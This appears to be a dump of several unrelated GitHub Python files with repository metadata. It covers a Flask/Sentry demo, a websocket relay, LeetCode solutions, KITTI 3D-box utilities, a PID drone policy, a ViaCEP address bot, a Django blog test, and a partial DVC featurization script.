for performance monitoring.\n # We recommend adjusting this value in production.\n traces_sample_rate=1.0,\n\n # By default the SDK will try to use the SENTRY_RELEASE\n # environment variable, or infer a git commit\n # SHA as release, however you may want to set\n # something more human-readable.\n # release=\"myapp@1.0.0\",\n)\n\napp = Flask(__name__)\napp.wsgi_app = ProxyFix(app.wsgi_app)\n\ndir = os.path.dirname(__file__)\nwith open(os.path.join(dir, 'db_credentials')) as data:\n db_credentials = json.load(data)\n\n@app.route(\"/\")\ndef index():\n conn = connect(\n dbname='postgres',\n user=db_credentials['username'],\n host=db_credentials['host'],\n password=db_credentials['password']\n )\n conn.close()\n return \"\"\"\n \n

    Everything is working fine

    \n \"\"\"\n\n@app.route(\"/error/\")\ndef error():\n conn = connect(\n dbname='postgres',\n user=db_credentials['username'],\n host=db_credentials['host'],\n password='asdf1234'\n )\n division_by_zero = 1 / 0\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=80)","repo_name":"codnstj/awscloud101","sub_path":"cw-logs/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71604041683","text":"#!/usr/bin/env python\nimport signal\nimport os\nimport asyncio\nimport websockets\n\nuser = set()\nwall = set()\n\nasync def hello(websocket, path):\n message = await websocket.recv()\n if message == \"User\":\n user.add(websocket)\n print(\"User assigned\")\n if message == \"Wall\":\n wall.add(websocket)\n print(\"Wall assigned\")\n await websocket.send(message)\n\n while True:\n\n message = await websocket.recv()\n if websocket in user:\n message = \"User: \" + message\n if wall:\n websockets.broadcast(wall, message)\n else:\n websockets.broadcast(user, \"Wall not connected.\")\n print(\"Wall not connected.\")\n else:\n message = \"Non-user: \" + message\n\n print(message)\n #await websocket.send(message)\n\n\nasync def main():\n # Set the stop condition when receiving SIGTERM.\n loop = asyncio.get_running_loop()\n stop = loop.create_future()\n loop.add_signal_handler(signal.SIGTERM, stop.set_result, None)\n\n async with websockets.serve(\n hello,\n host=\"\",\n port=int(os.environ[\"PORT\"]),\n ):\n await stop\nif __name__ == \"__main__\":\n asyncio.run(main())","repo_name":"Bstrutt/LightboardSocketServer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"20334590200","text":"\"\"\"\n@Title: 162. Find Peak Element\n@Tag: array / binary search\n@Date: Jan-22 2020\n@Author: ceezyyy\n@Difficulty: Medium\n\"\"\"\n\n\nclass Solution:\n def findPeakElement(self, nums: List[int]) -> int:\n # nums[-1] = nums[n] = -∞\n nums.insert(0, float(\"-inf\"))\n nums.insert(len(nums), float(\"-inf\"))\n for i in range(1, len(nums) - 1): # linear scan\n if nums[i] > nums[i-1] and nums[i] > nums[i+1]:\n return i - 1\n\n\n\"\"\"\nRuntime: 64 ms, faster than 7.76% of Python3 online submissions for Find Peak Element.\nMemory Usage: 12.6 MB, less than 100.00% of Python3 online submissions for Find Peak Element.\n\"\"\"\n\n\n\"\"\"\nTime Complexity: O(n)\nSpace Complexity: O(1)\n\"\"\"\n","repo_name":"ceezyyy/leetcode","sub_path":"others/Python3/162.Find Peak Element.py","file_name":"162.Find Peak Element.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"3"} +{"seq_id":"74976496401","text":"import os\nimport cv2\nimport glob\nimport torch\nimport random\nimport shutil\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\n\nfrom dataset.detection.calibration import Calibration, draw_projected_box3d\n\nclass KITTI:\n def __init__(self, mnt_path, img_path, ratio=0.3):\n self.mnt_path = mnt_path\n self.img_path = img_path\n self.ratio = ratio\n\n def create_train_folder(self):\n if not(os.path.isdir(self.mnt_path + '/kit_train')):\n os.mkdir(self.mnt_path + '/kit_train')\n else:\n print('directory already exist!!')\n\n def create_valid_folder(self):\n if not(os.path.isdir(self.mnt_path + '/kit_valid')):\n os.mkdir(self.mnt_path+'/kit_valid')\n else:\n print('directory already exist!!')\n\n\n\n def split_valid_set(self):\n if not(os.path.exists(self.mnt_path + self.img_path)):\n print(\"Image Not Exist!!\")\n imgs_file = glob.glob((self.mnt_path+self.img_path) + '/*.png')\n random.shuffle(imgs_file)\n self.create_train_folder()\n self.create_valid_folder()\n train_set = imgs_file[:int(len(imgs_file) * self.ratio)]\n valid_set = imgs_file[int(len(imgs_file) * self.ratio):]\n\n for i in train_set:\n annot = i.replace(\"png\", \"txt\")\n shutil.copy(i, self.mnt_path + '/kit_train')\n shutil.copy(annot, self.mnt_path + '/kit_train')\n for i in valid_set:\n annot = i.replace(\"png\", \"txt\")\n shutil.copy(i, self.mnt_path + '/kit_valid')\n shutil.copy(annot, self.mnt_path + '/kit_valid')\n return \"Data split end!!\"\n\n \nclass Visualize3D:\n def __init__(self, img_path, annot_path, calib_path):\n self.image = cv2.imread(img_path)\n self.annot_df = self.read_annotation(annot_path)\n self.calib_path = calib_path\n self.calib = Calibration(self.calib_path)\n self.names = self.parse_name('/home/insig/3D_Pose_Estimation/dataset/detection/names/kitti.txt')\n self.color = self.gen_random_colors(self.names)\n\n def read_annotation(self, annot_path):\n df = pd.read_csv(annot_path, header=None, sep= ' ')\n df.columns = ['type', 'truncated', 'occluded', 'alpha', 'bbox_left', 'bbox_top',\n 'bbox_right', 'bbox_bottom', 'height', 'width', 'length', 'pos_x', 'pos_y', 'pos_z', 'rot_y']\n # df = df[df['type'] == 'Car']\n df.reset_index(drop=True, inplace=True)\n return df\n\n def gen_random_colors(self, names):\n colors = [(random.randint(0, 255),\n random.randint(0, 225),\n random.randint(0, 255)) for i in range(len(names))]\n return colors\n\n def parse_name(self, name_file):\n with open(name_file, 'r') as f:\n return f.read().splitlines()\n\n def visualize(self):\n for raws in range(len(self.annot_df)):\n name = self.annot_df.iloc[raws]['type']\n corner_3d_cam2 = self.compute_3d_box_cam2(*self.annot_df.loc[raws, ['height', 'width', 'length', 'pos_x', 'pos_y', 'pos_z', 'rot_y']])\n pts_2d = self.calib.project_rect_to_image(corner_3d_cam2.T)\n self.image = draw_projected_box3d(self.image, pts_2d, color=self.color[self.names.index(str(name))], thickness=1)\n # cv2.imwrite(\"visualize_image.png\", self.image)\n \n def compute_3d_box_cam2(self, h, w, l, x, y, z, yaw):\n \"\"\"\n Return : 3xn in cam2 coordinate\n \"\"\"\n R = np.array([[np.cos(yaw), 0, np.sin(yaw)], [0, 1, 0], [-np.sin(yaw), 0, np.cos(yaw)]])\n x_corners = [l/2,l/2,-l/2,-l/2,l/2,l/2,-l/2,-l/2]\n y_corners = [0,0,0,0,-h,-h,-h,-h]\n z_corners = [w/2,-w/2,-w/2,w/2,w/2,-w/2,-w/2,w/2]\n corners_3d_cam2 = np.dot(R, np.vstack([x_corners,y_corners,z_corners]))\n corners_3d_cam2 += np.vstack([x, y, z])\n return corners_3d_cam2\n\n\nclass Format_Change:\n def __init__(self, img_path, calib_path):\n self.images = glob.glob(img_path + '/*.png')\n self.calib_path = calib_path\n self.names = self.parse_name('/home/insig/3D_Pose_Estimation/dataset/detection/names/kitti.txt')\n\n def parse_name(self, name_file):\n with open(name_file, 'r') as f:\n return f.read().splitlines()\n\n def change_label_format(self, update_path):\n if not(os.path.isdir(update_path)):\n os.mkdir(update_path)\n else:\n print('directory already exist!!')\n\n for i in self.images: \n shutil.copy(i, update_path)\n\n new_annots = []\n\n annot_df = self.read_annotation_dframe(i.replace('png', 'txt'))\n calib_file = i.replace('png','txt').replace('image','kit_calib')\n calib = Calibration(calib_file)\n\n for raws in range(len(annot_df)):\n name = annot_df.iloc[raws]['type']\n rot = annot_df.iloc[raws]['rot_y']\n corner_3d_cam2 = self.compute_3d_box_cam2(*annot_df.loc[raws, ['height', 'width', 'length', 'pos_x', 'pos_y', 'pos_z', 'rot_y']])\n pts_2d = calib.project_rect_to_image(corner_3d_cam2.T)\n new_annot = str(self.names.index(name)) + ' ' + str((pts_2d[2][0] - pts_2d[3][0]) / 2) + ' ' + str((pts_2d[3][1] - pts_2d[7][1]) / 2) + ' ' + str((pts_2d[0][0] - pts_2d[3][0]) /2 ) + ' ' + str(pts_2d[2][0] - pts_2d[3][0])+ ' ' + str(pts_2d[3][1] - pts_2d[7][1])+ ' ' + str(pts_2d[0][0] - pts_2d[3][0])+ ' ' + str(rot)\n new_annots.append(new_annot)\n save_path = i.replace('png', 'txt')\n save_path = save_path.split('/')[-1]\n\n with open(update_path +'/'+save_path, 'w') as w:\n for label in new_annots:\n w.write(label + '\\n')\n\n def read_annotation_dframe(self, annot_file):\n df = pd.read_csv(annot_file, header=None, sep= ' ')\n df.columns = ['type', 'truncated', 'occluded', 'alpha', 'bbox_left', 'bbox_top',\n 'bbox_right', 'bbox_bottom', 'height', 'width', 'length', 'pos_x', 'pos_y', 'pos_z', 'rot_y']\n # df = df[df['type'] == 'Car']\n df.reset_index(drop=True, inplace=True)\n return df\n \n def compute_3d_box_cam2(self, h, w, l, x, y, z, yaw):\n R = np.array([[np.cos(yaw), 0, np.sin(yaw)], [0, 1, 0], [-np.sin(yaw), 0, np.cos(yaw)]])\n x_corners = [l/2,l/2,-l/2,-l/2,l/2,l/2,-l/2,-l/2]\n y_corners = [0,0,0,0,-h,-h,-h,-h]\n z_corners = [w/2,-w/2,-w/2,w/2,w/2,-w/2,-w/2,w/2]\n corners_3d_cam2 = np.dot(R, np.vstack([x_corners,y_corners,z_corners]))\n corners_3d_cam2 += np.vstack([x, y, z])\n return corners_3d_cam2\n \n\n\n \n\nif __name__ == \"__main__\":\n '''\n KITTI Dataset의 경우 Train과 Valid가 나누어져 있지 않아 작업 필요\n python -m dataset.detection.utils\n '''\n # visualize\n # vis_3D = Visualize3D(img_path='/mnt/kit_valid/000000.png', annot_path='/mnt/kit_valid/000000.txt', calib_path='/mnt/kit_calib/000000.txt')\n # vis_3D.visualize()\n\n #format change\n format_change = Format_Change(img_path='/mnt/image', calib_path='/mnt/kit_calib')\n format_change.change_label_format('/mnt/3d_format')","repo_name":"cvisionBot/3D_Object_Detection","sub_path":"dataset/detection/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73526981521","text":"#!/usr/bin/env python3\n\n\"\"\"Get a cleaner version of a web page for reading purposes.\n\nThis script reads JSON input from the Mercury Web Parser \n(https://github.com/postlight/mercury-parser) and performs conversion of HTML \nto markdown and plain-text via html2text.\n\"\"\"\n\nimport sys\nimport json\nimport textwrap\n\nfrom datetime import datetime\nfrom html import unescape\nfrom html2text import HTML2Text\n\nclass Format():\n \"\"\"This is a decorator class for registering document format methods.\n \n You can register additional document formatter functions by decorating\n them with @Format.\n \n A formatter should be a function that takes as input a response object\n from the Mercury API. It's output can be any string derived from that\n input.\n \n By convention formatters should have a '_format' suffix in their function\n name. By this convention, if you have a formatter named 'json_format',\n then you can call this with Format.formatter['json']().\n \"\"\"\n formatter = {}\n def __init__(self, f):\n key, _ = f.__name__.rsplit('_', 1)\n self.formatter.update({key: f})\n self.format = f\n \n def __call__(self):\n self.format()\n\ndef format_date(obj):\n date = obj.get('date_published')\n if date is not None: \n obj['date_published'] = datetime.strptime(\n obj['date_published'],\n \"%Y-%m-%dT%H:%M:%S.%fZ\"\n )\n\n@Format\ndef json_format(obj):\n \"\"\"Formatter that formats as JSON\"\"\"\n return json.dumps(obj, ensure_ascii=False)\n\n@Format\ndef md_format(obj):\n \"\"\"Formatter that formats as markdown\"\"\"\n format_date(obj)\n content = '''\n date: {date_published} \n author(s): {author} \n \n # [{title}]({url})\n '''\n return '\\n'.join((\n textwrap.dedent(content.format(**obj)),\n obj['content'].get('markdown', '')\n ))\n\n@Format\ndef txt_format(obj):\n \"\"\"Formatter that formats as plain-text\"\"\"\n format_date(obj)\n content = '''\n url: {url}\n date: {date_published}\n author(s): {author}\n \n {title}\n '''\n return '\\n'.join((\n textwrap.dedent(content.format(**obj)),\n obj['content'].get('text', '')\n ))\n\ndef load(filename):\n \"\"\"Load Mercury Web Parser JSON results from file as a Python dict\"\"\"\n try:\n if filename in {\"-\", None}:\n return json.loads(sys.stdin.read())\n with open(filename, mode='r') as f:\n return json.load(f)\n except json.JSONDecodeError:\n print(f'failed to load JSON from file: {filename}', file=sys.stderr)\n sys.exit(1)\n\ndef main(result, body_width):\n \"\"\"Convert Mercury parse result dict to Markdown and plain-text\n \n result: a mercury-parser result (as a Python dict)\n \"\"\"\n text = HTML2Text()\n text.body_width = body_width\n text.ignore_emphasis = True\n text.ignore_images = True\n text.ignore_links = True\n text.convert_charrefs = True\n markdown = HTML2Text()\n markdown.body_width = body_width\n markdown.convert_charrefs = True\n result['content'] = {\n 'html': result['content'],\n 'markdown': unescape(markdown.handle(result['content'])),\n 'text': unescape(text.handle(result['content']))\n }\n return result\n\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n description=__doc__\n )\n parser.add_argument(\n 'filename',\n help=(\n 'load Mercury Web Parser JSON result from file (use \"-\" '\n 'to read from stdin)'\n )\n )\n parser.add_argument(\n '-f', '--format',\n choices=list(Format.formatter),\n default='json',\n help='output format'\n )\n parser.add_argument(\n '-w', '--body-width',\n type=int,\n default=None,\n help='character offset at which to wrap lines for plain-text'\n )\n args = parser.parse_args()\n obj = main(\n load(args.filename),\n args.body_width,\n )\n print(Format.formatter[args.format](obj))\n","repo_name":"zyocum/reader","sub_path":"reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"3"} +{"seq_id":"42813691029","text":"from typing import List\n\n\nclass Solution:\n def grayCode(self, n: int) -> List[int]:\n res = []\n size = 1 << n\n for i in range(size):\n res.append((i >> 1) ^ i)\n return res\n\n\nif __name__ == \"__main__\":\n s = Solution()\n result = s.grayCode(2)\n print(result)\n","repo_name":"kenwoov/PlayLeetCode","sub_path":"Algorithms/Medium/89. Gray Code/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19909489664","text":"'''Austin Nguyen'''\n\n'''Class to represent a PID policy\n\nHas a bunch of different \"branches\" to distinguish the different kinds of policies we can make with PID outputs\nAttributes: has a bunch of initialized PIDs\n - __init__ takes in a mode and creates PIDs based on the mode that is given\nMethods:\n - chooseAction: outputs PWM inputs based on current state and PID list\n - update: updates the PIDs with given new states...has to be inputted in certain order\n\nAt the bottom, includes code using CrazyFlieSim.py to test given policy modes'''\n\nfrom PID import PID\nimport torch\nimport numpy as np\n\nclass policy():\n def __init__(self, policyDict):\n self.mode = policyDict['PolicyMode']\n self.PID = []\n self.numPIDs = 0\n self.min_pwm = policyDict['min_pwm']\n self.max_pwm = policyDict['max_pwm']\n self.equil = policyDict['Equil']\n self.dt = policyDict['dt']\n self.numParameters = 0\n parameters = policyDict['PID']\n #order: pitch, roll, yaw, pitchrate, rollrate, yawRate or pitch roll yaw yawrate for hybrid or pitch roll yaw for euler\n if self.mode == 'EULER':\n self.numParameters = 9\n elif self.mode == 'HYBRID':\n self.numParameters = 12\n elif self.mode == 'RATE' or self.mode == 'ALL':\n self.numParameters = 18\n assert len(parameters) == self.numParameters\n self.numPIDs =int(self.numParameters / 3)\n\n for i in [3 * i for i in list(range(self.numPIDs))]:\n self.PID += [PID(0, parameters[i], parameters[i + 1], parameters[i + 2], 1000, self.dt)]\n\n\n def chooseAction(self):\n def limit_thrust(PWM): #Limits the thrust\n return np.clip(PWM, self.min_pwm, self.max_pwm)\n output = [0,0,0,0]\n #PWM structure: 0:front right 1:front left 2:back left 3:back right\n '''Depending on which PID mode we are in, output the respective PWM values based on PID updates'''\n if self.mode == 'EULER':\n output[0] = limit_thrust(self.equil[0] - self.PID[0].out + self.PID[1].out + self.PID[2].out)\n output[1] = limit_thrust(self.equil[1] - self.PID[0].out - self.PID[1].out - self.PID[2].out)\n output[2] = limit_thrust(self.equil[2] + self.PID[0].out - self.PID[1].out + self.PID[2].out)\n output[3] = limit_thrust(self.equil[3] + self.PID[0].out + self.PID[1].out - self.PID[2].out)\n elif self.mode == 'HYBRID':\n output[0][0] = limit_thrust(self.equil[0] - self.PID[0].out + self.PID[1].out + self.PID[5].out)\n output[0][1] = limit_thrust(self.equil[1] - self.PID[0].out - self.PID[1].out - self.PID[5].out)\n output[0][2] = limit_thrust(self.equil[2] + self.PID[0].out - self.PID[1].out + self.PID[5].out)\n output[0][3] = limit_thrust(self.equil[3] + self.PID[0].out + self.PID[1].out - self.PID[5].out)\n elif self.mode == 'RATE': #update this with the signs above\n output[0][0] = limit_thrust(self.equil[0] + self.PID[3].out - self.PID[4].out + self.PID[5].out)\n output[0][1] = limit_thrust(self.equil[1] - self.PID[3].out - self.PID[4].out - self.PID[5].out)\n output[0][2] = limit_thrust(self.equil[2] - self.PID[3].out + self.PID[4].out + self.PID[5].out)\n output[0][3] = limit_thrust(self.equil[3] + self.PID[3].out + self.PID[4].out - self.PID[5].out)\n elif self.mode == 'ALL': #update this with the signs above\n output[0][0] = limit_thrust(self.equil[0] + self.PID[0].out - self.PID[1].out + self.PID[2].out + self.PID[3].out - self.PID[4].out + self.PID[5].out)\n output[0][1] = limit_thrust(self.equil[1] - self.PID[0].out - self.PID[1].out - self.PID[2].out - self.PID[3].out - self.PID[4].out - self.PID[5].out)\n output[0][2] = limit_thrust(self.equil[2] - self.PID[0].out + self.PID[1].out + self.PID[2].out - self.PID[3].out + self.PID[4].out + self.PID[5].out)\n output[0][3] = limit_thrust(self.equil[3] + self.PID[0].out + self.PID[1].out - self.PID[2].out + self.PID[3].out + self.PID[4].out - self.PID[5].out)\n return torch.FloatTensor(output)\n\n def update(self, states):\n '''Order of states being passed: pitch, roll, yaw'''\n '''Updates the PID outputs based on the states being passed in (must be in the specified order above)'''\n '''Order of PIDs: pitch, roll, yaw, pitchRate, rollRate, yawRate'''\n assert len(states) == 3\n EulerOut = [0,0,0]\n for i in range(3):\n EulerOut[i] = self.PID[i].update(states[i])\n if self.mode == 'HYBRID':\n self.PID[3].update(EulerOut[2])\n if self.mode == 'RATE' or self.mode == 'ALL':\n for i in range(3):\n self.PID[i + 3].update(EulerOut[i])\n","repo_name":"austinnguyen517/dynamicsPID","sub_path":"PID/PIDPolicy.py","file_name":"PIDPolicy.py","file_ext":"py","file_size_in_byte":4795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"18008878233","text":"'''\n输入两个递增排序的链表，合并这两个链表并使新链表中的节点仍然是递增排序的。\n\n示例1：\n输入：1->2->4, 1->3->4\n输出：1->1->2->3->4->4\n限制：\n\n0 <= 链表长度 <= 1000\n'''\n\n\"\"\"解题思路：\n根据题目描述， 链表l1, l2是 递增 的，因此容易想到使用双指针 l1和 l2遍历两链表，根据 l1.val和 l2.val 的大小关系确定节点添加顺序，两节点指针交替前进，直至遍历完毕。\n\n引入伪头节点： 由于初始状态合并链表中无节点，因此循环第一轮时无法将节点添加到合并链表中。解决方案：初始化一个辅助节点 dumdum 作为合并链表的伪头节点，将各节点添加至 dumdum 之后。\n\n算法流程：\n初始化： 伪头节点 dum ，节点 cur 指向 dum 。\n循环合并： 当l1或l2为空时跳出；\n当l1.val object:\n url_filename = f'C:/Users/julia/PycharmProjects/botcep/botdesafio/{file_name}.xlsx'\n book = openpyxl.Workbook()\n book.active.title = 'Cep'\n book.create_sheet('Modelo')\n cep_page = book['Cep']\n modelo_page = book['Modelo']\n cep_page.append(['CEP'])\n modelo_page.append(['CEP', 'Logradouro', 'Bairro', 'Localidade', 'UF', 'DDD'])\n\n book.save(url_filename)\n\n\ndef atualizar_tabela1(filename, sheet_name, column_name, content_list):\n list_items = content_list\n file_name = filename\n url_filename = f'C:/Users/julia/PycharmProjects/botcep/botdesafio/{file_name}.xlsx'\n book = openpyxl.load_workbook(url_filename)\n pagina_para_atualizar = book[sheet_name]\n titulos_colunas = {'CEP': 'A'}\n for i in range(0, len(list_items)):\n index = f'{titulos_colunas[column_name]}{i + 2}'\n pagina_para_atualizar[index] = list_items[i]\n book.save(url_filename)\n\n\ndef consumir_api(file_name_test):\n url_filename = f'C:/Users/julia/PycharmProjects/botcep/botdesafio/{file_name_test}.xlsx'\n url = 'https://viacep.com.br/ws/{}/json/'\n workbook = openpyxl.load_workbook(url_filename)\n\n worksheet_ceps = workbook['Cep']\n worksheet_resultados = workbook['Modelo']\n\n # Definir linha inicial para inserir os dados na planilha de resultados\n linha_resultados = 2\n\n for linha in worksheet_ceps.iter_rows(min_row=2, values_only=True):\n # Obter o CEP da linha atual\n cep1 = linha[0]\n\n # Fazer a requisição GET para a API do ViaCEP com o CEP atual\n response = requests.get(url.format(cep1))\n response.raise_for_status()\n data = response.json()\n\n assert isinstance(worksheet_resultados, object)\n worksheet_resultados.cell(row=linha_resultados, column=1).value = data['cep']\n worksheet_resultados.cell(row=linha_resultados, column=2).value = data['logradouro']\n worksheet_resultados.cell(row=linha_resultados, column=3).value = data['bairro']\n worksheet_resultados.cell(row=linha_resultados, column=4).value = data['localidade']\n worksheet_resultados.cell(row=linha_resultados, column=5).value = data['uf']\n worksheet_resultados.cell(row=linha_resultados, column=6).value = data['ddd']\n\n # Incrementar a linha para inserir os dados na próxima linha da planilha de resultados\n linha_resultados += 1\n\n # Salvar arquivo Excel com os resultados\n workbook.save(url_filename)\n\n\n\n\n\n\n","repo_name":"juliaferreiraaa/triadesafioo2","sub_path":"botp.py","file_name":"botp.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6742461360","text":"from datetime import timedelta\n\nfrom django.contrib.auth.models import Group\nfrom django.utils import timezone\n\nfrom blog.models import BlogPost\nfrom content.models import *\nfrom content.solr_search import SolrSearch\nfrom content.utils import force_utc_datetime, force_solr_date_format\nfrom planning.global_test_case import GlobalTestCase\n\n\nclass BlogPublishTestCase(GlobalTestCase):\n\n def setUp(self):\n self.ttt, _ = TaxoTopicTag.objects.get_or_create(\n title=\"Environmental Protection Wetlands Standards\"\n )\n\n def test_publish_blog_post(self):\n # create draft record\n bpost, bpost_created = BlogPost.objects.get_or_create(title='New Blog Post', publish_status='DRAFT')\n # set draft values \n bpost.content_area = 'RESEARCH'\n # sec, s = Section.objects.get_or_create(title='New Section')\n # bpost.section=sec\n bpost.text = '

    A Web Page 

    \\r\\n\\r\\n

    "Test publishing a blog post."

    \\r\\n'\n tag_type1, tt1 = TagType.objects.get_or_create(title='Region', id=34, code='CENSUS_REGION')\n tag1, t1 = Tag.objects.get_or_create(title='Pacific', tag_type_id=tag_type1.id, code='PACIFIC')\n tag_type1.tags.add(tag1)\n add_tag = ContentTagType(content=bpost, tag_type=tag_type1)\n # do we need to attach the ContentTagType to the content?\n add_tag.save()\n bpost.contenttagtype.add(add_tag)\n add_tag.tags.add(tag1)\n add_tag.save()\n\n bpost.taxo_topics.add(self.ttt)\n mem_grp, mg = Group.objects.get_or_create(name='member')\n bpost.permission_groups.add(mem_grp)\n\n today = timezone.now().date()\n bpost.save()\n bpost.publish()\n bpost_all = BlogPost.objects.filter(title='New Blog Post')\n bpost_draft = BlogPost.objects.get(title='New Blog Post', publish_status='DRAFT')\n bpost_published = BlogPost.objects.get(title='New Blog Post', publish_status='PUBLISHED')\n\n resp_code = bpost_draft.solr_publish()\n self.assertEqual(resp_code, 200)\n solr_bpost_draft_rec = SolrSearch(custom_q='id:CONTENT.%s' % bpost_draft.master_id)\n res = solr_bpost_draft_rec.get_results()\n vals_dict = res[\"response\"][\"docs\"][0]\n\n bpost_draft.save()\n bpost_published.save()\n dr = bpost_draft\n pu = bpost_published\n self.assertEqual(dr.title, pu.title)\n self.assertEqual(dr.master, pu.master)\n self.assertEqual(dr.content_type, pu.content_type)\n self.assertEqual(dr.content_area, pu.content_area)\n # self.assertEqual(dr.section, pu.section)\n self.assertEqual(dr.text, pu.text)\n self.assertEqual(dr.resource_published_date, today)\n self.assertEqual(pu.resource_published_date, today)\n\n # special case of dealing with solr date format with a blog\n now = timezone.now()\n cut_time = timedelta(hours=now.hour, minutes=now.minute, seconds=now.second)\n now_zero = now - cut_time\n nowu = force_utc_datetime(now_zero)\n nowu_str = str(nowu)\n today_solr = force_solr_date_format(nowu_str, True)\n\n # solr tests\n self.assertEqual(vals_dict[\"title\"], \"New Blog Post\")\n self.assertEqual(vals_dict[\"content_type\"], \"BLOG\")\n self.assertEqual(vals_dict[\"begin_time\"], today_solr)\n\n # list of tag types:\n tt_title_list = [tt.split('.')[2] for tt in vals_dict[\"tag_types\"]]\n # list of tag type codes:\n tt_code_list = [tt.split('.')[1] for tt in vals_dict[\"tag_types\"]]\n # list of tag type ids:\n tt_id_list = [tt.split('.')[0] for tt in vals_dict[\"tag_types\"]]\n\n # equivalence routine for tag_types and associated tags\n # this tests taxo topics in solr already:\n for index, (tt1, tt2) in enumerate(zip(dr.contenttagtype.order_by('tag_type__title').all(),\n pu.contenttagtype.order_by('tag_type__title').all())):\n self.assertEqual(tt1.tag_type.title, tt2.tag_type.title)\n self.assertEqual(tt2.tag_type.title in tt_title_list, True)\n tag_title_list = [t.split('.')[2] for t in vals_dict[\"tags_%s\" % tt2.tag_type.code]]\n for index2, (t1, t2) in enumerate(\n zip(tt1.tags.order_by('tag__title').all(), tt2.tags.order_by('tag__title').all())):\n self.assertEqual(t1.title, t2.title)\n self.assertEqual(t2.title in tag_title_list, True)\n\n # equivalence routine for taxo_topics \n for index, (val1, val2) in enumerate(zip(dr.taxo_topics.all(), pu.taxo_topics.all())):\n self.assertEqual(val1.title, val2.title)\n\n groups_list = vals_dict[\"permission_groups\"]\n\n # equivalence routine for groups: \n for index, (val1, val2) in enumerate(zip(dr.permission_groups.all(), pu.permission_groups.all())):\n self.assertEqual(val1.name, val2.name)\n self.assertEqual(val2.name in groups_list, True)\n\n self.assertEqual(dr.published_time, None)\n # id, published_time, (django: _state), updated_time \n self.assertEqual(dr.publish_status, 'DRAFT')\n self.assertEqual(pu.publish_status, 'PUBLISHED')\n self.assertEqual(dr.id + 1, pu.id)\n print(\"end of test_publish_blog_post\")\n","repo_name":"furmanczyk5/Django-Enterprise-App","sub_path":"blog/tests/test_publish_blog.py","file_name":"test_publish_blog.py","file_ext":"py","file_size_in_byte":5683,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"22436776852","text":"import os\nimport pickle\nimport sys\n\nimport numpy as np\nimport pandas as pd\nimport scipy.sparse as sparse\nimport yaml\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\n\n\ndef get_df(data):\n \"\"\"Read the input data file and return a data frame.\"\"\"\n df = pd.read_csv(\n data,\n encoding=\"utf-8\",\n header=None,\n delimiter=\"\\t\",\n names=[\"id\", \"label\", \"text\"],\n )\n sys.stderr.write(f\"The input data frame {data} size is {df.shape}\\n\")\n return df\n\n\ndef save_matrix(df, matrix, names, output):\n \"\"\"\n Save the matrix to a pickle file.\n\n Args:\n df (pandas.DataFrame): Input data frame.\n matrix (scipy.sparse.csr_matrix): Input matrix.\n names (list): List of feature names.\n output (str): Output file name.\n \"\"\"\n id_matrix = sparse.csr_matrix(df.id.astype(np.int64)).T\n label_matrix = sparse.csr_matrix(df.label.astype(np.int64)).T\n\n result = sparse.hstack([id_matrix, label_matrix, matrix], format=\"csr\")\n\n msg = \"The output matrix {} size is {} and data type is {}\\n\"\n sys.stderr.write(msg.format(output, result.shape, result.dtype))\n\n with open(output, \"wb\") as fd:\n pickle.dump((result, names), fd)\n pass\n\n\ndef generate_and_save_train_features(train_input, train_output, bag_of_words, tfidf):\n \"\"\"\n Generate train feature matrix.\n\n Args:\n train_input (str): Train input file name.\n train_output (str): Train output file name.\n bag_of_words (sklearn.feature_extraction.text.CountVectorizer): Bag of words.\n tfidf (sklearn.feature_extraction.text.TfidfTransformer): TF-IDF transformer.\n \"\"\"\n df_train = get_df(train_input)\n train_words = np.array(df_train.text.str.lower().values)\n\n bag_of_words.fit(train_words)\n\n train_words_binary_matrix = bag_of_words.transform(train_words)\n feature_names = bag_of_words.get_feature_names_out()\n\n tfidf.fit(train_words_binary_matrix)\n train_words_tfidf_matrix = tfidf.transform(train_words_binary_matrix)\n\n save_matrix(df_train, train_words_tfidf_matrix, feature_names, train_output)\n\n\ndef generate_and_save_test_features(test_input, test_output, bag_of_words, tfidf):\n \"\"\"\n Generate test feature matrix.\n\n Args:\n test_input (str): Test input file name.\n test_output (str): Test output file name.\n bag_of_words (sklearn.feature_extraction.text.CountVectorizer): Bag of words.\n tfidf (sklearn.feature_extraction.text.TfidfTransformer): TF-IDF transformer.\n \"\"\"\n df_test = get_df(test_input)\n test_words = np.array(df_test.text.str.lower().values)\n\n test_words_binary_matrix = bag_of_words.transform(test_words)\n test_words_tfidf_matrix = tfidf.transform(test_words_binary_matrix)\n feature_names = bag_of_words.get_feature_names_out()\n\n save_matrix(df_test, test_words_tfidf_matrix, feature_names, test_output)\n\n\ndef main():\n params = yaml.safe_load(open(\"params.yaml\"))[\"featurize\"]\n\n np.set_printoptions(suppress=True)\n\n if len(sys.argv) != 3 and len(sys.argv) != 5:\n sys.stderr.write(\"Arguments error. Usage:\\n\")\n sys.stderr.write(\"\\tpython featurization.py data-dir-path features-dir-path\\n\")\n sys.exit(1)\n\n in_path = sys.argv[1]\n out_path = sys.argv[2]\n\n 